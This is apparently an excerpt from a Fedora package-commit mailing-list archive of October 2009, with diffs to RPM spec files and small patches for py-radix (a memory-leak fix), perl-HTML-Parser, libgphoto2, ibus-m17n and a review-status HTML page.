--- py-radix.spec	13 Oct 2009 17:31:36 -0000	1.1
+++ py-radix.spec	23 Oct 2009 14:11:21 -0000	1.2
@@ -1,8 +1,9 @@
 Name: py-radix
 Summary: Radix tree data structure for Python
 Version: 0.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
+Patch0: py-radix-0.5-memleak.patch
 License: BSD with advertising
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-buildroot
@@ -24,6 +25,7 @@ for networks (the data structure itself 
 
 %prep
 %setup -q
+%patch0 -p1
 rm -f inet_ntop.c strlcpy.c
 touch inet_ntop.c strlcpy.c
 
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc LICENSE README TODO ChangeLog
 
 %changelog
+* Fri Oct 23 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-6
+- Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)
+
 * Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
 - remove inet_ntop.c and strlcpy.c for safety.  They're only used on
   Windows.



From wtogami at fedoraproject.org  Fri Oct 23 14:12:18 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 23 Oct 2009 14:12:18 +0000 (UTC)
Subject: rpms/perl-HTML-Parser/devel .cvsignore, 1.15,
	1.16 perl-HTML-Parser.spec, 1.37, 1.38 sources, 1.16, 1.17
Message-ID: <20091023141218.BD4E811C01EA@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/perl-HTML-Parser/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24703

Modified Files:
	.cvsignore perl-HTML-Parser.spec sources 
Log Message:
3.63 fixes crasher



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	17 Sep 2009 15:12:44 -0000	1.15
+++ .cvsignore	23 Oct 2009 14:12:18 -0000	1.16
@@ -1 +1 @@
-HTML-Parser-3.62.tar.gz
+HTML-Parser-3.63.tar.gz


Index: perl-HTML-Parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/devel/perl-HTML-Parser.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- perl-HTML-Parser.spec	17 Sep 2009 15:12:46 -0000	1.37
+++ perl-HTML-Parser.spec	23 Oct 2009 14:12:18 -0000	1.38
@@ -1,7 +1,7 @@
 %define real_name HTML-Parser
 
 Name:           perl-%{real_name}
-Version:        3.62
+Version:        3.63
 Release:        1%{?dist}
 Summary:        Perl module for parsing HTML
 
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-1
+- 3.63 fixes crasher
+
 * Thu Sep 17 2009 Warren Togami <wtogami at redhat.com> - 3.62-1
 - 3.62
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	17 Sep 2009 15:12:46 -0000	1.16
+++ sources	23 Oct 2009 14:12:18 -0000	1.17
@@ -1 +1 @@
-2aad75367af5173514f564122ba028c7  HTML-Parser-3.62.tar.gz
+64d1d54411ea71f89c3bab23bfd14abc  HTML-Parser-3.63.tar.gz



From mdomsch at fedoraproject.org  Fri Oct 23 14:13:22 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 23 Oct 2009 14:13:22 +0000 (UTC)
Subject: rpms/py-radix/F-12 py-radix-0.5-memleak.patch, NONE,
	1.1 py-radix.spec, 1.1, 1.2
Message-ID: <20091023141322.A348B11C01EA@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25051

Modified Files:
	py-radix.spec 
Added Files:
	py-radix-0.5-memleak.patch 
Log Message:
Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)

py-radix-0.5-memleak.patch:
 radix_python.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE py-radix-0.5-memleak.patch ---
With thanks to Debian bug 512830. Add patch by Alexander Sabourenkov
to fix memory leak.
Fedora patch originally taken from
http://ftp-stud.hs-esslingen.de/debian/pool/main/p/py-radix/py-radix_0.5-2.diff.gz


diff -u py-radix-0.5.orig/radix_python.c py-radix-0.5/radix_python.c
--- py-radix-0.5.orig/radix_python.c	2007-12-17 20:49:01.000000000 -0600
+++ py-radix-0.5/radix_python.c	2009-10-23 09:03:50.000000000 -0500
@@ -95,6 +95,7 @@
 	Py_XDECREF(self->family);
 	Py_XDECREF(self->network);
 	Py_XDECREF(self->prefix);
+	Py_XDECREF(self->packed);
 	PyObject_Del(self);
 }
 


Index: py-radix.spec
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-12/py-radix.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- py-radix.spec	13 Oct 2009 17:45:58 -0000	1.1
+++ py-radix.spec	23 Oct 2009 14:13:22 -0000	1.2
@@ -1,8 +1,9 @@
 Name: py-radix
 Summary: Radix tree data structure for Python
 Version: 0.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
+Patch0: py-radix-0.5-memleak.patch
 License: BSD with advertising
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-buildroot
@@ -24,6 +25,7 @@ for networks (the data structure itself 
 
 %prep
 %setup -q
+%patch0 -p1
 rm -f inet_ntop.c strlcpy.c
 touch inet_ntop.c strlcpy.c
 
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc LICENSE README TODO ChangeLog
 
 %changelog
+* Fri Oct 23 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-6
+- Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)
+
 * Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
 - remove inet_ntop.c and strlcpy.c for safety.  They're only used on
   Windows.



From wtogami at fedoraproject.org  Fri Oct 23 14:13:52 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 23 Oct 2009 14:13:52 +0000 (UTC)
Subject: rpms/perl-HTML-Parser/F-12 .cvsignore, 1.15,
	1.16 perl-HTML-Parser.spec, 1.37, 1.38 sources, 1.16, 1.17
Message-ID: <20091023141352.0666811C01EA@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/perl-HTML-Parser/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25221

Modified Files:
	.cvsignore perl-HTML-Parser.spec sources 
Log Message:
3.63 fixes crasher



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	17 Sep 2009 15:12:44 -0000	1.15
+++ .cvsignore	23 Oct 2009 14:13:51 -0000	1.16
@@ -1 +1 @@
-HTML-Parser-3.62.tar.gz
+HTML-Parser-3.63.tar.gz


Index: perl-HTML-Parser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-12/perl-HTML-Parser.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- perl-HTML-Parser.spec	17 Sep 2009 15:12:46 -0000	1.37
+++ perl-HTML-Parser.spec	23 Oct 2009 14:13:51 -0000	1.38
@@ -1,7 +1,7 @@
 %define real_name HTML-Parser
 
 Name:           perl-%{real_name}
-Version:        3.62
+Version:        3.63
 Release:        1%{?dist}
 Summary:        Perl module for parsing HTML
 
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 23 2009 Warren Togami <wtogami at redhat.com> - 3.63-1
+- 3.63 fixes crasher
+
 * Thu Sep 17 2009 Warren Togami <wtogami at redhat.com> - 3.62-1
 - 3.62
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTML-Parser/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	17 Sep 2009 15:12:46 -0000	1.16
+++ sources	23 Oct 2009 14:13:51 -0000	1.17
@@ -1 +1 @@
-2aad75367af5173514f564122ba028c7  HTML-Parser-3.62.tar.gz
+64d1d54411ea71f89c3bab23bfd14abc  HTML-Parser-3.63.tar.gz



From mdomsch at fedoraproject.org  Fri Oct 23 14:13:56 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 23 Oct 2009 14:13:56 +0000 (UTC)
Subject: rpms/py-radix/F-11 py-radix-0.5-memleak.patch, NONE,
	1.1 py-radix.spec, 1.1, 1.2
Message-ID: <20091023141356.DD9EB11C01EA@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25301

Modified Files:
	py-radix.spec 
Added Files:
	py-radix-0.5-memleak.patch 
Log Message:
Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)

py-radix-0.5-memleak.patch:
 radix_python.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE py-radix-0.5-memleak.patch ---
With thanks to Debian bug 512830. Add patch by Alexander Sabourenkov
to fix memory leak.
Fedora patch originally taken from
http://ftp-stud.hs-esslingen.de/debian/pool/main/p/py-radix/py-radix_0.5-2.diff.gz


diff -u py-radix-0.5.orig/radix_python.c py-radix-0.5/radix_python.c
--- py-radix-0.5.orig/radix_python.c	2007-12-17 20:49:01.000000000 -0600
+++ py-radix-0.5/radix_python.c	2009-10-23 09:03:50.000000000 -0500
@@ -95,6 +95,7 @@
 	Py_XDECREF(self->family);
 	Py_XDECREF(self->network);
 	Py_XDECREF(self->prefix);
+	Py_XDECREF(self->packed);
 	PyObject_Del(self);
 }
 


Index: py-radix.spec
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-11/py-radix.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- py-radix.spec	13 Oct 2009 17:45:18 -0000	1.1
+++ py-radix.spec	23 Oct 2009 14:13:56 -0000	1.2
@@ -1,8 +1,9 @@
 Name: py-radix
 Summary: Radix tree data structure for Python
 Version: 0.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
+Patch0: py-radix-0.5-memleak.patch
 License: BSD with advertising
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-buildroot
@@ -24,6 +25,7 @@ for networks (the data structure itself 
 
 %prep
 %setup -q
+%patch0 -p1
 rm -f inet_ntop.c strlcpy.c
 touch inet_ntop.c strlcpy.c
 
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc LICENSE README TODO ChangeLog
 
 %changelog
+* Fri Oct 23 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-6
+- Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)
+
 * Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
 - remove inet_ntop.c and strlcpy.c for safety.  They're only used on
   Windows.



From jnovy at fedoraproject.org  Fri Oct 23 14:14:05 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 14:14:05 +0000 (UTC)
Subject: rpms/libgphoto2/devel gphoto2-device-return.patch, NONE,
	1.1 libgphoto2.spec, 1.24, 1.25
Message-ID: <20091023141405.E972611C01EA@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/libgphoto2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25336

Modified Files:
	libgphoto2.spec 
Added Files:
	gphoto2-device-return.patch 
Log Message:
* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2.4.7-2
- return the dual-mode device to kernel once we don't use it (#530545)


gphoto2-device-return.patch:
 libusb.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE gphoto2-device-return.patch ---
>From 242878ac1cefd1ef99c2e5d84a794f72e49e28be Mon Sep 17 00:00:00 2001
From: Lubomir Rintel <lkundrak at v3.sk>
Date: Fri, 23 Oct 2009 13:12:16 +0200
Subject: [PATCH] Repair reattach of kernel driver if it was unbound

Drah in the header for USBDEVFS_CONNECT.

Signed-off-by: Lubomir Rintel <lkundrak at v3.sk>
---
 libgphoto2_port/usb/libusb.c |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/libgphoto2_port/usb/libusb.c b/libgphoto2_port/usb/libusb.c
index d1535a5..c8a63f1 100644
--- a/libgphoto2_port/usb/libusb.c
+++ b/libgphoto2_port/usb/libusb.c
@@ -38,6 +38,12 @@
 #include <gphoto2/gphoto2-port-result.h>
 #include <gphoto2/gphoto2-port-log.h>
 
+#if defined(LIBUSB_HAS_GET_DRIVER_NP) && defined(LIBUSB_HAS_DETACH_KERNEL_DRIVER_NP)
+/* Pull in USBDEVFS_CONNECT */
+#include <sys/ioctl.h>
+#include <linux/usbdevice_fs.h>
+#endif
+
 #ifdef ENABLE_NLS
 #  include <libintl.h>
 #  undef _
-- 
1.6.5.rc2



Index: libgphoto2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgphoto2/devel/libgphoto2.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libgphoto2.spec	19 Aug 2009 13:54:40 -0000	1.24
+++ libgphoto2.spec	23 Oct 2009 14:14:05 -0000	1.25
@@ -1,7 +1,7 @@
 Summary: Library for accessing digital cameras
 Name: libgphoto2
 Version: 2.4.7
-Release: 1%{?dist}
+Release: 2%{?dist}
 # GPLV2+ for the main lib (due to exif.c) and most plugins, some plugins GPLv2
 License: GPLv2+ and GPLv2
 Group: Development/Libraries
@@ -11,6 +11,7 @@ Patch1: gphoto2-pkgcfg.patch
 Patch2: gphoto2-storage.patch
 Patch3: gphoto2-ixany.patch
 Patch4: gphoto2-maxentries.patch
+Patch5: gphoto2-device-return.patch
 Url: http://www.gphoto.org/
 Requires: lockdev
 BuildRequires: libusb-devel >= 0.1.5
@@ -54,6 +55,7 @@ use libgphoto2.
 %patch2 -p1 -b .storage
 %patch3 -p1 -b .ixany
 %patch4 -p1 -b .maxentries
+%patch5 -p1 -b .device-return
 
 for i in AUTHORS COPYING libgphoto2_port/AUTHORS libgphoto2_port/COPYING.LIB `find -name 'README.*'`; do
 	mv ${i} ${i}.old
@@ -160,6 +162,9 @@ rm -rf "${RPM_BUILD_ROOT}"
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 23 2009 Jindrich Novy <jnovy at redhat.com> 2.4.7-2
+- return the dual-mode device to kernel once we don't use it (#530545)
+
 * Tue Aug 18 2009 Jindrich Novy <jnovy at redhat.com> 2.4.7-1
 - update to 2.4.7
 - drop udev patch, applied upstream



From phuang at fedoraproject.org  Fri Oct 23 14:14:32 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Fri, 23 Oct 2009 14:14:32 +0000 (UTC)
Subject: rpms/ibus-m17n/F-12 ibus-m17n-iok.patch, 1.2, 1.3 ibus-m17n.spec,
	1.20, 1.21
Message-ID: <20091023141432.DCE0C11C01EA@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus-m17n/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25602

Modified Files:
	ibus-m17n-iok.patch ibus-m17n.spec 
Log Message:
Update iok patch to fix bug 530493

ibus-m17n-iok.patch:
 engine.c |   56 +++++++++++++++++++++++++++++++++++++++++++-------------
 1 file changed, 43 insertions(+), 13 deletions(-)

Index: ibus-m17n-iok.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-12/ibus-m17n-iok.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ibus-m17n-iok.patch	14 Oct 2009 07:44:39 -0000	1.2
+++ ibus-m17n-iok.patch	23 Oct 2009 14:14:32 -0000	1.3
@@ -1,5 +1,5 @@
 diff --git a/src/engine.c b/src/engine.c
-index d6ac852..0355fca 100644
+index d6ac852..6427a55 100644
 --- a/src/engine.c
 +++ b/src/engine.c
 @@ -17,6 +17,8 @@ struct _IBusM17NEngine {
@@ -42,24 +42,61 @@ index d6ac852..0355fca 100644
  
      m17n->table = ibus_lookup_table_new (9, 0, TRUE, TRUE);
      m17n->context = NULL;
-@@ -166,6 +183,7 @@ ibus_m17n_engine_constructor (GType                   type,
+@@ -159,6 +176,7 @@ ibus_m17n_engine_constructor (GType                   type,
+     IBusM17NEngine *m17n;
+     MInputMethod *im;
+     const gchar *engine_name;
++    gchar **strv;
+ 
+     m17n = (IBusM17NEngine *) G_OBJECT_CLASS (parent_class)->constructor (type,
+                                                        n_construct_params,
+@@ -166,6 +184,14 @@ ibus_m17n_engine_constructor (GType                   type,
  
      engine_name = ibus_engine_get_name ((IBusEngine *) m17n);
      g_assert (engine_name);
 +    m17n->keymap_name =  g_strdup (engine_name);
++
++    strv = g_strsplit (engine_name, ":", 2);
++    g_assert (g_strv_length (strv) == 2);
++
++    /* show iok icon for inscript */
++    if(strcmp (strv[1], "inscript") == 0 || strcmp (strv[1] , "inscript2") == 0)
++        ibus_property_set_visible (m17n->show_iok_prop,TRUE);
  
      if (im_table == NULL) {
          im_table = g_hash_table_new_full (g_str_hash,
-@@ -187,6 +205,8 @@ ibus_m17n_engine_constructor (GType                   type,
-         lang = strv[0];
-         name = strv[1];
- 
-+        if(strcmp(name,"inscript")==0)
-+            ibus_property_set_visible(m17n->show_iok_prop,TRUE);
-         im = minput_open_im (msymbol (lang), msymbol (name), NULL);
+@@ -176,18 +202,7 @@ ibus_m17n_engine_constructor (GType                   type,
+ 
+     im = (MInputMethod *) g_hash_table_lookup (im_table, engine_name);
+     if (im == NULL) {
+-        gchar *lang;
+-        gchar *name;
+-        gchar **strv;
+-
+-        strv = g_strsplit (engine_name, ":", 2);
+-
+-        g_assert (g_strv_length (strv) == 2);
+-
+-        lang = strv[0];
+-        name = strv[1];
+-
+-        im = minput_open_im (msymbol (lang), msymbol (name), NULL);
++        im = minput_open_im (msymbol (strv[0]), msymbol (strv[1]), NULL);
          if (im != NULL) {
              mplist_put (im->driver.callback_list, Minput_preedit_start, ibus_m17n_engine_callback);
-@@ -231,6 +251,7 @@ ibus_m17n_engine_destroy (IBusM17NEngine *m17n)
+             mplist_put (im->driver.callback_list, Minput_preedit_draw, ibus_m17n_engine_callback);
+@@ -207,9 +222,9 @@ ibus_m17n_engine_constructor (GType                   type,
+             g_hash_table_insert (im_table, g_strdup (engine_name), im);
+         }
+ 
+-        g_strfreev (strv);
+     }
+ 
++    g_strfreev (strv);
+     if (im == NULL) {
+         g_warning ("Can not find m17n keymap %s", engine_name);
+         g_object_unref (m17n);
+@@ -231,6 +246,7 @@ ibus_m17n_engine_destroy (IBusM17NEngine *m17n)
          m17n->prop_list = NULL;
      }
  
@@ -67,7 +104,7 @@ index d6ac852..0355fca 100644
      if (m17n->status_prop) {
          g_object_unref (m17n->status_prop);
          m17n->status_prop = NULL;
-@@ -383,6 +404,7 @@ ibus_m17n_engine_focus_in (IBusEngine *engine)
+@@ -383,6 +399,7 @@ ibus_m17n_engine_focus_in (IBusEngine *engine)
      IBusM17NEngine *m17n = (IBusM17NEngine *) engine;
  
      ibus_engine_register_properties (engine, m17n->prop_list);
@@ -75,7 +112,7 @@ index d6ac852..0355fca 100644
      ibus_m17n_engine_process_key (m17n, msymbol ("input-focus-in"));
  
      parent_class->focus_in (engine);
-@@ -468,6 +490,19 @@ ibus_m17n_engine_property_activate (IBusEngine  *engine,
+@@ -468,6 +485,19 @@ ibus_m17n_engine_property_activate (IBusEngine  *engine,
                                      const gchar *prop_name,
                                      guint        prop_state)
  {


Index: ibus-m17n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-12/ibus-m17n.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- ibus-m17n.spec	14 Oct 2009 07:44:39 -0000	1.20
+++ ibus-m17n.spec	23 Oct 2009 14:14:32 -0000	1.21
@@ -2,7 +2,7 @@
 
 Name:       ibus-m17n
 Version:    1.2.0.20090617
-Release:    4%{?dist}
+Release:    5%{?dist}
 Summary:    The M17N engine for IBus platform
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/ibus/component/*
 
 %changelog
+* Fri Oct 23 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090617-5
+- Update iok patch to fix bug 530493.
+
 * Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090617-4
 - Update iok patch to fix build error.
 



From mdomsch at fedoraproject.org  Fri Oct 23 14:14:40 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 23 Oct 2009 14:14:40 +0000 (UTC)
Subject: rpms/py-radix/F-10 py-radix-0.5-memleak.patch, NONE,
	1.1 py-radix.spec, 1.1, 1.2
Message-ID: <20091023141440.7BA4811C01EA@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25682

Modified Files:
	py-radix.spec 
Added Files:
	py-radix-0.5-memleak.patch 
Log Message:
Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)

py-radix-0.5-memleak.patch:
 radix_python.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE py-radix-0.5-memleak.patch ---
With thanks to Debian bug 512830. Add patch by Alexander Sabourenkov
to fix memory leak.
Fedora patch originally taken from
http://ftp-stud.hs-esslingen.de/debian/pool/main/p/py-radix/py-radix_0.5-2.diff.gz


diff -u py-radix-0.5.orig/radix_python.c py-radix-0.5/radix_python.c
--- py-radix-0.5.orig/radix_python.c	2007-12-17 20:49:01.000000000 -0600
+++ py-radix-0.5/radix_python.c	2009-10-23 09:03:50.000000000 -0500
@@ -95,6 +95,7 @@
 	Py_XDECREF(self->family);
 	Py_XDECREF(self->network);
 	Py_XDECREF(self->prefix);
+	Py_XDECREF(self->packed);
 	PyObject_Del(self);
 }
 


Index: py-radix.spec
===================================================================
RCS file: /cvs/extras/rpms/py-radix/F-10/py-radix.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- py-radix.spec	13 Oct 2009 17:40:18 -0000	1.1
+++ py-radix.spec	23 Oct 2009 14:14:40 -0000	1.2
@@ -1,8 +1,9 @@
 Name: py-radix
 Summary: Radix tree data structure for Python
 Version: 0.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
+Patch0: py-radix-0.5-memleak.patch
 License: BSD with advertising
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-buildroot
@@ -24,6 +25,7 @@ for networks (the data structure itself 
 
 %prep
 %setup -q
+%patch0 -p1
 rm -f inet_ntop.c strlcpy.c
 touch inet_ntop.c strlcpy.c
 
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc LICENSE README TODO ChangeLog
 
 %changelog
+* Fri Oct 23 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-6
+- Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)
+
 * Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
 - remove inet_ntop.c and strlcpy.c for safety.  They're only used on
   Windows.



From mdomsch at fedoraproject.org  Fri Oct 23 14:15:00 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 23 Oct 2009 14:15:00 +0000 (UTC)
Subject: rpms/py-radix/EL-4 py-radix-0.5-memleak.patch, NONE,
	1.1 py-radix.spec, 1.1, 1.2
Message-ID: <20091023141500.A538D11C01EA@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25847

Modified Files:
	py-radix.spec 
Added Files:
	py-radix-0.5-memleak.patch 
Log Message:
Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)

py-radix-0.5-memleak.patch:
 radix_python.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE py-radix-0.5-memleak.patch ---
With thanks to Debian bug 512830. Add patch by Alexander Sabourenkov
to fix memory leak.
Fedora patch originally taken from
http://ftp-stud.hs-esslingen.de/debian/pool/main/p/py-radix/py-radix_0.5-2.diff.gz


diff -u py-radix-0.5.orig/radix_python.c py-radix-0.5/radix_python.c
--- py-radix-0.5.orig/radix_python.c	2007-12-17 20:49:01.000000000 -0600
+++ py-radix-0.5/radix_python.c	2009-10-23 09:03:50.000000000 -0500
@@ -95,6 +95,7 @@
 	Py_XDECREF(self->family);
 	Py_XDECREF(self->network);
 	Py_XDECREF(self->prefix);
+	Py_XDECREF(self->packed);
 	PyObject_Del(self);
 }
 


Index: py-radix.spec
===================================================================
RCS file: /cvs/extras/rpms/py-radix/EL-4/py-radix.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- py-radix.spec	13 Oct 2009 17:25:31 -0000	1.1
+++ py-radix.spec	23 Oct 2009 14:15:00 -0000	1.2
@@ -1,8 +1,9 @@
 Name: py-radix
 Summary: Radix tree data structure for Python
 Version: 0.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
+Patch0: py-radix-0.5-memleak.patch
 License: BSD with advertising
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-buildroot
@@ -24,6 +25,7 @@ for networks (the data structure itself 
 
 %prep
 %setup -q
+%patch0 -p1
 rm -f inet_ntop.c strlcpy.c
 touch inet_ntop.c strlcpy.c
 
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc LICENSE README TODO ChangeLog
 
 %changelog
+* Fri Oct 23 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-6
+- Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)
+
 * Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
 - remove inet_ntop.c and strlcpy.c for safety.  They're only used on
   Windows.



From tibbs at fedoraproject.org  Fri Oct 23 14:16:28 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Fri, 23 Oct 2009 14:16:28 +0000 (UTC)
Subject: status-report-scripts/review-templates index.html,1.2,1.3
Message-ID: <20091023141628.AEF6D11C01EA@cvs1.fedora.phx.redhat.com>

Author: tibbs

Update of /cvs/fedora/status-report-scripts/review-templates
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26218/review-templates

Modified Files:
	index.html 
Log Message:
Minor tweaks to the index page.



Index: index.html
===================================================================
RCS file: /cvs/fedora/status-report-scripts/review-templates/index.html,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -r1.2 -r1.3
--- index.html	22 Oct 2009 03:59:09 -0000	1.2
+++ index.html	23 Oct 2009 14:16:28 -0000	1.3
@@ -35,15 +35,16 @@
 available:
 
 <table>
-<tr><td><a href="NEW.html">New tickets</a> ($new)</td>
+    <tr><td style="white-space: nowrap"><a href="NEW.html">New tickets</a> ($new)</td>
     <td>All non-merge review tickets without an assigned reviewer.</td></tr>
-<tr><td><a href="NEEDSPONSOR.html">Needsponsor tickets</a> ($needsponsor)</td>
+<tr><td style="white-space: nowrap"><a href="NEEDSPONSOR.html">Needsponsor tickets</a> ($needsponsor)</td>
     <td>All review tickets where a sponsor is required. Please see <a href="https://fedoraproject.org/wiki/How_to_get_sponsored_into_the_packager_group#Sponsorship_model">this page</a> for more information on sponsorship.</td></tr>
-<tr><td><a href="MERGE.html">Merge review tickets</a> ($merge)</td>
+<tr><td style="white-space: nowrap"><a href="MERGE.html">Merge review tickets</a> ($merge)</td>
     <td>All merge review tickets.  Please see <a href="https://fedoraproject.org/wiki/Merge_Reviews">this page</a> for more information on merge reviews.</td></tr>
-<tr><td><a href="HIDDEN.html">Hidden tickets</a> ($hidden)</td>
+<tr><td style="white-space: nowrap"><a href="HIDDEN.html">Hidden tickets</a> ($hidden)</td>
     <td>Tickets which have been hidden for some reason.  These tickets either depend on other review tickets which have not yet been closed, or are unreviewable for some reason.  See <a href="https://fedoraproject.org/wiki/Package_Review_Process#Special_blocker_tickets">this page</a> for more information on the various states a review ticket can have.</td></tr>
 </table>
+Last updated: ${update}, version ${version}.
 <br/>
     <h2>Quick Review Search</h2>
     <form name="queryform" action="http://bugzilla.redhat.com/buglist.cgi" method="get"



From tibbs at fedoraproject.org  Fri Oct 23 14:16:58 2009
From: tibbs at fedoraproject.org (=?utf-8?b?SmFzb24g44OG44Kj44OT44OE?=)
Date: Fri, 23 Oct 2009 14:16:58 +0000 (UTC)
Subject: status-report-scripts review-stats.py,1.4,1.5
